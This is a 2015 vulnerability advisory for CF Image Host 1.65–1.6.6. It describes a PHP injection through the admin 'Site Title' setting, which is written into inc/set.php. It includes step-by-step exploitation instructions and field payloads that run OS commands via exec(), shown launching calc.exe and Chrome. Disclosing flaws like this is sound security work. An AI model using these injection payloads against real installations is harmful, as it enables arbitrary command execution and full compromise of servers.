[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-CFIMAGEHOST-PHP-CMD-INJECTION.txt Vendor: ==================================== codefuture.co.uk/projects/imagehost Product: =================================== CF Image Host 1.65 - 1.6.6 Archive download listed as: version 1.65 unzips as imagehost 1.6.6 Vulnerability Type: ===================== PHP Command Injection CVE Reference: ============== N/A Vulnerability Details: ===================== CF Imagehost allows users who have access to the management area the ability to write directly to the 'set.php' page under the /inc directory that stores setting values for the 'Site Title', 'Site Slogan' etc, this allows a local attacker ability to inject specially crafted PHP command payloads to execute arbitrary operating system commands on the victim host. Possibly leading to privilege escalation, RFI, backdoors etc.. and most likely full compromise of the affected system or shared environment if applicable. PHP Command Injection Exploit code(s): ===================================== Under the setting tab we can inject following below PHP code and it will remain persistent as it is written disk in 'set.php', afterwards when the victim visits the application and click a tab the persistent OS command will be executed. 1) navigate to CF image host settings tab http://localhost/imagehost1.6.6/admin.php?act=set 2) click on admin menu on left and enter your passwords DO NOT click 'Save changes' yet! or you get error message to enter creds 3) now go back to settings tab and click 'General' then inject below PHP code into the 'Site Title' input field 4) now click 'Save Changes', this code will get stored under /inc directory within the 'set.php' PHP file. our PHP injection payload needs the single quotes, double back slashes, semicolons as described below to correctly escape the syntax so we do not break the PHP page and cause errors, our extra \\ quoutes and ; gets removed after injection takes place. some examples... ';echo exec("c:\\Windows\\system32\\calc.exe");'';'; 'set.php' on line 11 then becomes: $settings['SET_TITLE'] = '';echo exec("c:\Windows\system32\calc.exe");'';';'; OR inject CMD to launch chrome.exe etc... ';echo exec("c:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe");'';'; After, click on some tabs above like 'Database' or 'Ban User' and Tada! this will execute our stored PHP command... either running calc.exe or launching Google Chrome. Disclosure Timeline: ===================== Vendor Notification: NA November 13, 2015 : Public Disclosure Exploitation Technique: ======================= Local / Remote Severity Level: ================ High Description: ================================================================ Request Method(s): [+] POST Vulnerable Product: [+] CF Image Host 1.65 - 1.6.6 Vulnerable Parameter(s): [+] 'Site Title', 'Site Slogan' etc.. Affected Area(s): [+] OS [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx